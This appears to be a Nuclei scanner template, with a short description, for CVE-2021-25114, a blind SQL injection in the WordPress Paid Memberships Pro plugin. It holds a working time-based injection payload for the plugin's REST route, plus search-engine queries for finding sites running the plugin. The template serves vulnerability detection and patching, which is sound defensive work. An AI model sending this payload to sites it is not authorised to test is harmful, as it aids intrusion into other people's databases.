WordPress Paid Memberships Pro <2.6.7 - Blind SQL Injection

ID: CVE-2021-25114

Severity: critical

Author: theamanrawat

Tags: time-based-sqli,cve2021,cve,wp-plugin,wp,sqli,paid-memberships-pro,wpscan,wordpress,strangerstudios

Description

WordPress Paid Memberships Pro plugin before 2.6.7 is susceptible to blind SQL injection. The plugin does not escape the discount_code in one of its REST routes before using it in a SQL statement. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

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id: CVE-2021-25114

info:
  name: WordPress Paid Memberships Pro <2.6.7 - Blind SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress Paid Memberships Pro plugin before 2.6.7 is susceptible to blind SQL injection. The plugin does not escape the discount_code in one of its REST routes before using it in a SQL statement. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to extract sensitive information from the database.
  remediation: |
    Upgrade to WordPress Paid Memberships Pro version 2.6.7 or later to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/6c25a5f0-a137-4ea5-9422-8ae393d7b76b
    - https://wordpress.org/plugins/paid-memberships-pro/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25114
    - https://www.paidmembershipspro.com/pmpro-update-2-6-7-security-release/
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-25114
    cwe-id: CWE-89
    epss-score: 0.03548
    epss-percentile: 0.91594
    cpe: cpe:2.3:a:strangerstudios:paid_memberships_pro:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: strangerstudios
    product: paid_memberships_pro
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/paid-memberships-pro/
    fofa-query: body=/wp-content/plugins/paid-memberships-pro/
    publicwww-query: /wp-content/plugins/paid-memberships-pro/
    google-query: inurl:"/wp-content/plugins/paid-memberships-pro"
  tags: time-based-sqli,cve2021,cve,wp-plugin,wp,sqli,paid-memberships-pro,wpscan,wordpress,strangerstudios

http:
  - raw:
      - |
        @timeout: 15s
        GET /?rest_route=/pmpro/v1/checkout_level&level_id=3&discount_code=%27%20%20union%20select%20sleep(6)%20--%20g HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-content/plugins/paid-memberships-pro/js/pmpro-checkout.js HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - duration_1>=6
          - contains(header_1, "application/json")
          - status_code == 200
          - contains(body_2, 'other_discount_code_')
        condition: and
# digest: 4a0a00473045022100957d8d5938c577988beacb0ba5b746e66fb84a3f041fc79e183149da46bfb4ff02202521be7ac17bc6819f8b4142ac248ea39dc184082040e0d674f080dd1b42e402:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-25114.yaml"

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